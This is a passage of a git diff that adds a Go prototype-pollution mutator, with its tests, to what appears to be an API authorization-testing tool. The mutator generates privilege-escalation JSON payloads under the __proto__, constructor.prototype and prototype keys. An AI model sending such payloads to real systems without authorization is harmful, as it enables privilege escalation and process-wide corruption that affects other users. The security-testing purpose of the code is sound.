buries them under the three pollution-vector keys +// (`__proto__`, `constructor.prototype`, `prototype`) the prototype-walk +// guards are supposed to refuse. A server that blocks one will not necessarily +// block the other. +// +// PrototypePollution emits variants ONLY when the base request has a JSON +// *object* body (arrays, scalars, and non-JSON bodies are skipped — there is +// nothing for a JSON merge helper to recurse into). For each privileged +// property × each pollution vector, a separate variant is emitted so the +// comparative ladder can attribute a bypass to the specific shape that +// landed: +// +// - `__proto__`: the direct, original Walmart-2018 / HackerOne vector — the +// attacker key is the literal `__proto__` reserved name a naive recursive +// merge follows without guarding. +// - `constructor.prototype`: the indirect vector that bypasses guards which +// check only for `__proto__` — every object's `constructor` is a function +// whose `.prototype` IS Object.prototype, so writing into +// `obj.constructor.prototype.is_admin` has the same effect. +// - `prototype`: the surface-level alias used by libraries (mongoose, +// handlebars, some hand-rolled merges) that walk a key literally named +// `prototype` thinking it is just data — a third pathway documented in +// the npm-ecosystem CVE chain. +// +// Every variant keeps the caller's own credentials (Identity == nil — the +// replay engine keeps the captured auth as-is). The original top-level fields +// of the body are preserved verbatim; the pollution payload is *added* +// alongside them. The injected privileged value matches the MassAssign +// canonical set (`PrivilegedProperties`) so the same authz-bypass surface +// (admin, role, is_admin, isAdmin, verified, roles) is exercised against the +// prototype layer. +// +// Like every mutator, Generate is pure and deterministic: properties are +// applied in canonical (sorted-by-PrivilegedProperties.Key) order, vectors are +// emitted in a fixed (sorted by vector name) sequence, so identical inputs +// yield an identical variant slice. +// +// PrototypePollution is OFF by default (Enabled == false). The polluted JSON +// reaches deep-merge code paths whose effect is process-wide (the entire +// Node.js process answers the polluted property thereafter — including for +// other concurrent users), so it only fires when the operator explicitly opts +// in via --prototype-pollution. This mirrors the off-by-default gating of +// MassAssign (BOPLA at the object layer), XXE (parser probing), and every +// other write-shaped mutator. +type PrototypePollution struct { + Enabled bool +} + +func (PrototypePollution) Name() string { return "prototype-pollution" } + +// pollutionVectors is the canonical, sorted list of prototype-pollution key +// shapes. Each vector describes how to bury a {key: value} payload inside the +// request body so a recursive-merge helper writes the payload onto +// Object.prototype rather than onto the model instance. Kept in +// alphabetical-by-name order so generation is deterministic without an +// at-call-site sort; the determinism test covers this. +var pollutionVectors = []struct { + // Name is the short identifier emitted in the mutation Detail under + // "vector" — used by the reporter and the allowlist to attribute and + // suppress a finding to the specific pollution shape. + Name string + // Build wraps {key: value} into the pollution payload that gets merged + // at the *top level* of the request body. The returned map is the + // fragment to add (not the whole body). + Build func(key string, value interface{}) map[string]interface{} +}{ + // constructor.prototype: writes through every object's constructor + // function's .prototype, which IS Object.prototype. Bypasses guards + // that block only the literal "__proto__" key. + { + Name: "constructor.prototype", + Build: func(key string, value interface{}) map[string]interface{} { + return map[string]interface{}{ + "constructor": map[string]interface{}{ + "prototype": map[string]interface{}{ + key: value, + }, + }, + } + }, + }, + // __proto__: the direct, original CVE-2018-3721 vector. Naive + // recursive-merge helpers follow the literal "__proto__" key into + // Object.prototype. + { + Name: "__proto__", + Build: func(key string, value interface{}) map[string]interface{} { + return map[string]interface{}{ + "__proto__": map[string]interface{}{ + key: value, + }, + } + }, + }, + // prototype: the bare alias used by mongoose / handlebars / some + // hand-rolled merges that walk a key literally named "prototype" as + // data. A third pathway documented across the npm-ecosystem CVE chain. + { + Name: "prototype", + Build: func(key string, value interface{}) map[string]interface{} { + return map[string]interface{}{ + "prototype": map[string]interface{}{ + key: value, + }, + } + }, + }, +} + +func (pp PrototypePollution) Generate(base *model.CapturedRequest, _ *model.RoleMatrix) []model.Variant { + if !pp.Enabled || base == nil { + return nil + } + if len(base.Body) == 0 || !looksJSON(base.ContentType, base.Body) { + return nil + } + + // The body must be a JSON object — prototype pollution rides a recursive + // merge of attacker JSON into a server-side object, which only happens + // for an object payload (arrays and scalars are not recursed into). + var doc map[string]interface{} + if err := json.Unmarshal(base.Body, &doc); err != nil { + return nil + } + + // Sort the privileged-property set so emission order is deterministic + // regardless of the order they were declared in PrivilegedProperties. + // MassAssign already does this; we mirror it so the two mutators agree + // on the same canonical sweep order. + props := append([]PrivilegedProperty(nil), PrivilegedProperties...) + sort.Slice(props, func(i, j int) bool { return props[i].Key < props[j].Key }) + + // Sort vectors by Name for the same reason. They are already declared + // in alphabetical order above, but sorting at call time keeps the + // determinism contract robust against future edits. + vectors := append([]struct { + Name string + Build func(string, interface{}) map[string]interface{} + }(nil), pollutionVectors...) + sort.Slice(vectors, func(i, j int) bool { return vectors[i].Name < vectors[j].Name }) + + out := make([]model.Variant, 0, len(props)*len(vectors)) + for _, p := range props { + for _, v := range vectors { + polluted := injectPollution(base.Body, v.Build(p.Key, p.Value)) + if polluted == nil { + continue + } + req := CloneRequest(base) + req.Body = polluted + + out = append(out, model.Variant{ + Base: req, + Identity: nil, // credentials unchanged — caller stays the captured owner + Mutation: model.Mutation{ + Type: "prototype-pollution", + Description: "inject prototype-pollution payload " + + v.Name + "." + p.Key + " into request body", + Detail: map[string]string{ + "vector": v.Name, + "field": p.Key, + "value": stringifyJSON(p.Value), + }, + Class: "privesc", + }, + }) + } + } + return out +} + +// injectPollution parses body as a JSON object, merges the pollution payload +// at the top level (without overwriting any of the caller's existing keys — +// the caller's legitimately-set values must be preserved verbatim so a server +// reading them still passes its own bookkeeping), and re-marshals. Returns +// nil on any parse/marshal failure. The re-marshal sorts object keys +// (encoding/json marshals map keys sorted), so the output is deterministic. +func injectPollution(body []byte, payload map[string]interface{}) []byte { + var doc map[string]interface{} + if err := json.Unmarshal(body, &doc); err != nil { + return nil + } + // Add each pollution-payload top-level key alongside the caller's + // existing keys. We do NOT overwrite an existing key — if the caller + // already sends, say, "__proto__" themselves (vanishingly rare in real + // traffic), the test proves nothing, so skip the variant by returning + // nil. Case-sensitive: __proto__ / constructor / prototype are + // JavaScript reserved names, the JSON merge layer compares them + // literally. + for k := range payload { + if _, exists := doc[strings.ToLower(k)]; exists { + return nil + } + if _, exists := doc[k]; exists { + return nil + } + } + for k, v := range payload { + doc[k] = v + } + out, err := json.Marshal(doc) + if err != nil { + return nil + } + return out +} diff --git a/internal/mutate/prototype_pollution_test.go b/internal/mutate/prototype_pollution_test.go new file mode 100644 index 0000000..fc85e87 --- /dev/null +++ b/internal/mutate/prototype_pollution_test.go @@ -0,0 +1,341 @@ +package mutate + +import ( + "encoding/json" + "net/http" + "net/url" + "sort" + "strings" + "testing" + + "github.com/bugsyhewitt/possession/internal/model" +) + +// ppJSONBodyReq returns a request authenticated as alice carrying a JSON +// object body with the given fields. Mirrors mass_assign_test.jsonBodyReq so +// the two mutators are exercised against an identical input shape. +func ppJSONBodyReq(t *testing.T, fields map[string]interface{}) *model.CapturedRequest { + t.Helper() + u, _ := url.Parse("https://api.example.com/api/users/1001") + h := http.Header{} + h.Set("Authorization", "Bearer alice-token") + h.Set("Content-Type", "application/json") + body, err := json.Marshal(fields) + if err != nil { + t.Fatalf("marshal body: %v", err) + } + return &model.CapturedRequest{ + ID: "alice-put", + Method: "PUT", + URL: u, + Headers: h, + ContentType: "application/json", + Body: body, + } +} + +func TestPrototypePollution_DisabledByDefault(t *testing.T) { + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice"}) + if vs := (PrototypePollution{}).Generate(req, nil); len(vs) != 0 { + t.Fatalf("PrototypePollution must be off by default; got %d variants", len(vs)) + } +} + +func TestPrototypePollution_EmitsEveryPropertyVectorPair(t *testing.T) { + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice"}) + vs := PrototypePollution{Enabled: true}.Generate(req, nil) + + // Full cross-product: every privileged property × every pollution + // vector. None of the privileged keys collide with the caller's "name" + // field, and none of the vector keys (__proto__, constructor, + // prototype) collide either. + want := len(PrivilegedProperties) * len(pollutionVectors) + if len(vs) != want { + t.Fatalf("want %d variants (props=%d × vectors=%d) got %d", + want, len(PrivilegedProperties), len(pollutionVectors), len(vs)) + } + + // Track every (vector, field) cell — each must appear exactly once. + seen := make(map[string]int, want) + for _, v := range vs { + if v.Mutation.Type != "prototype-pollution" { + t.Errorf("mutation type: want prototype-pollution got %q", v.Mutation.Type) + } + if v.Mutation.Class != "privesc" { + t.Errorf("class: want privesc got %q", v.Mutation.Class) + } + if v.Identity != nil { + t.Errorf("must not swap identity; got %q", v.Identity.Name) + } + if got := v.Base.Headers.Get("Authorization"); got != "Bearer alice-token" { + t.Errorf("auth header altered: %q", got) + } + + vec := v.Mutation.Detail["vector"] + field := v.Mutation.Detail["field"] + if vec == "" || field == "" { + t.Fatalf("variant missing vector/field detail: %+v", v.Mutation.Detail) + } + seen[vec+"|"+field]++ + } + for cell, count := range seen { + if count != 1 { + t.Errorf("cell %q emitted %d times; want exactly 1", cell, count) + } + } + if len(seen) != want { + t.Errorf("only %d unique cells emitted; want %d", len(seen), want) + } +} + +func TestPrototypePollution_PreservesCallerFields(t *testing.T) { + // Every variant must keep the caller's own top-level fields verbatim — + // the pollution payload is *added* alongside them, never replaces. + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice", "email": "alice@example.com"}) + vs := PrototypePollution{Enabled: true}.Generate(req, nil) + if len(vs) == 0 { + t.Fatal("no variants emitted") + } + for _, v := range vs { + var doc map[string]interface{} + if err := json.Unmarshal(v.Base.Body, &doc); err != nil { + t.Fatalf("variant body not JSON: %v", err) + } + if doc["name"] != "alice" { + t.Errorf("name clobbered: %s", v.Base.Body) + } + if doc["email"] != "alice@example.com" { + t.Errorf("email clobbered: %s", v.Base.Body) + } + } +} + +func TestPrototypePollution_BuriesPayloadUnderVectorKey(t *testing.T) { + // For each vector, the polluted field must be reachable at the + // vector-specific path (not at the top level — that's mass-assign's + // job, the two mutators are disjoint). + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice"}) + vs := PrototypePollution{Enabled: true}.Generate(req, nil) + + for _, v := range vs { + var doc map[string]interface{} + if err := json.Unmarshal(v.Base.Body, &doc); err != nil { + t.Fatalf("variant body not JSON: %v", err) + } + vec := v.Mutation.Detail["vector"] + field := v.Mutation.Detail["field"] + + // The polluted field must NOT be at the top level. + if _, leaked := doc[field]; leaked { + t.Errorf("vector %q: field %q leaked to top level (overlap with mass-assign): %s", + vec, field, v.Base.Body) + } + + switch vec { + case "__proto__": + proto, ok := doc["__proto__"].(map[string]interface{}) + if !ok { + t.Errorf("__proto__ missing or not an object: %s", v.Base.Body) + continue + } + if _, ok := proto[field]; !ok { + t.Errorf("__proto__.%s missing: %s", field, v.Base.Body) + } + case "prototype": + pr, ok := doc["prototype"].(map[string]interface{}) + if !ok { + t.Errorf("prototype missing or not an object: %s", v.Base.Body) + continue + } + if _, ok := pr[field]; !ok { + t.Errorf("prototype.%s missing: %s", field, v.Base.Body) + } + case "constructor.prototype": + ctor, ok := doc["constructor"].(map[string]interface{}) + if !ok { + t.Errorf("constructor missing or not an object: %s", v.Base.Body) + continue + } + pr, ok := ctor["prototype"].(map[string]interface{}) + if !ok { + t.Errorf("constructor.prototype missing or not an object: %s", v.Base.Body) + continue + } + if _, ok := pr[field]; !ok { + t.Errorf("constructor.prototype.%s missing: %s", field, v.Base.Body) + } + default: + t.Errorf("unknown vector %q in variant", vec) + } + } +} + +func TestPrototypePollution_NonJSONBodySkipped(t *testing.T) { + u, _ := url.Parse("https://api.example.com/api/users/1001") + h := http.Header{} + h.Set("Authorization", "Bearer alice-token") + h.Set("Content-Type", "application/x-www-form-urlencoded") + req := &model.CapturedRequest{ + ID: "form", + Method: "POST", + URL: u, + Headers: h, + ContentType: "application/x-www-form-urlencoded", + Body: []byte("name=alice&role=user"), + } + if vs := (PrototypePollution{Enabled: true}).Generate(req, nil); len(vs) != 0 { + t.Fatalf("non-JSON body must be skipped; got %d variants", len(vs)) + } +} + +func TestPrototypePollution_JSONArrayBodySkipped(t *testing.T) { + u, _ := url.Parse("https://api.example.com/api/users") + h := http.Header{} + h.Set("Content-Type", "application/json") + req := &model.CapturedRequest{ + ID: "arr", + Method: "POST", + URL: u, + Headers: h, + ContentType: "application/json", + Body: []byte(`["alice","bob"]`), + } + if vs := (PrototypePollution{Enabled: true}).Generate(req, nil); len(vs) != 0 { + t.Fatalf("JSON array body must be skipped; got %d variants", len(vs)) + } +} + +func TestPrototypePollution_EmptyBodySkipped(t *testing.T) { + u, _ := url.Parse("https://api.example.com/api/users/1001") + req := &model.CapturedRequest{ + ID: "get", + Method: "GET", + URL: u, + Headers: http.Header{}, + ContentType: "application/json", + } + if vs := (PrototypePollution{Enabled: true}).Generate(req, nil); len(vs) != 0 { + t.Fatalf("empty body must be skipped; got %d variants", len(vs)) + } +} + +func TestPrototypePollution_SkipsAlreadyPresentVectorKey(t *testing.T) { + // If the caller's own body already contains a top-level "__proto__" + // (vanishingly rare in real traffic, but worth defending), injecting + // the same vector proves nothing — skip it. The other vectors still + // fire. + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice", "__proto__": "preexisting"}) + vs := PrototypePollution{Enabled: true}.Generate(req, nil) + + for _, v := range vs { + if v.Mutation.Detail["vector"] == "__proto__" { + t.Errorf("must not inject __proto__ when caller already sets it") + } + } + // __proto__ vector dropped, the other two vectors still emit + // len(PrivilegedProperties) variants each. + want := len(PrivilegedProperties) * (len(pollutionVectors) - 1) + if len(vs) != want { + t.Errorf("want %d variants got %d", want, len(vs)) + } +} + +func TestPrototypePollution_Deterministic(t *testing.T) { + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice"}) + a := PrototypePollution{Enabled: true}.Generate(req, nil) + b := PrototypePollution{Enabled: true}.Generate(req, nil) + if len(a) != len(b) { + t.Fatalf("non-deterministic length: %d vs %d", len(a), len(b)) + } + keysA := make([]string, len(a)) + keysB := make([]string, len(b)) + for i := range a { + keysA[i] = a[i].Mutation.Detail["vector"] + "|" + a[i].Mutation.Detail["field"] + keysB[i] = b[i].Mutation.Detail["vector"] + "|" + b[i].Mutation.Detail["field"] + } + for i := range keysA { + if keysA[i] != keysB[i] { + t.Errorf("variant %d non-deterministic: %q vs %q", i, keysA[i], keysB[i]) + } + } + // Within the deterministic sweep, fields are the outer dimension (sorted + // alphabetically by PrivilegedProperties.Key) and vectors are the inner + // dimension (sorted alphabetically by vector Name). Verify both: + // consecutive variants share a field while their vector advances, and + // the field sequence is monotonically non-decreasing. + var prevField string + for _, k := range keysA { + parts := strings.SplitN(k, "|", 2) + if len(parts) != 2 { + t.Fatalf("malformed cell key %q", k) + } + field := parts[1] + if prevField != "" && field < prevField { + t.Errorf("field dimension not monotonic: %v", keysA) + break + } + prevField = field + } + // Inner-vector grouping: collect the vector sequence for the first + // field's run and assert it is sorted. + firstField := strings.SplitN(keysA[0], "|", 2)[1] + var firstRunVectors []string + for _, k := range keysA { + parts := strings.SplitN(k, "|", 2) + if parts[1] != firstField { + break + } + firstRunVectors = append(firstRunVectors, parts[0]) + } + if !sort.StringsAreSorted(firstRunVectors) { + t.Errorf("vector dimension within a field not sorted: %v", firstRunVectors) + } +} + +func TestPrototypePollution_DoesNotAliasBaseBody(t *testing.T) { + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice"}) + orig := append([]byte(nil), req.Body...) + _ = PrototypePollution{Enabled: true}.Generate(req, nil) + if string(req.Body) != string(orig) { + t.Errorf("base request body mutated: %s", req.Body) + } +} + +func TestPrototypePollution_DescriptionMentionsVectorAndField(t *testing.T) { + // The reporter (and the allowlist) use Description as the human-facing + // label for the variant; it must name both the vector and the field so + // triage can match it back to the test. + req := ppJSONBodyReq(t, map[string]interface{}{"name": "alice"}) + vs := PrototypePollution{Enabled: true}.Generate(req, nil) + if len(vs) == 0 { + t.Fatal("no variants") + } + for _, v := range vs { + vec := v.Mutation.Detail["vector"] + field := v.Mutation.Detail["field"] + if !strings.Contains(v.Mutation.Description, vec) { + t.Errorf("description missing vector %q: %q", vec, v.Mutation.Description) + } + if !strings.Contains(v.Mutation.Description, field) { + t.Errorf("description missing field %q: %q", field, v.Mutation.Description) + } + } +} + +func TestPrototypePollution_NameStable(t *testing.T) { + if got := (PrototypePollution{}).Name(); got != "prototype-pollution" { + t.Errorf("Name() must be stable for allowlist matching; got %q", got) + } +} + +func TestPrototypePollution_NotInDefaultRegistry(t *testing.T) { + // PrototypePollution is gated and added only in buildRegistry; it must + // stay out of DefaultRegistry so the canonical mutator order is + // unchanged. Mirrors the equivalent assertion every other + // off-by-default mutator has against DefaultRegistry. + for _, n := range DefaultRegistry().Names() { + if n == (PrototypePollution{}).Name() { + t.Fatalf("prototype-pollution must NOT be in DefaultRegistry() (off-by-default mutator)") + } + } +}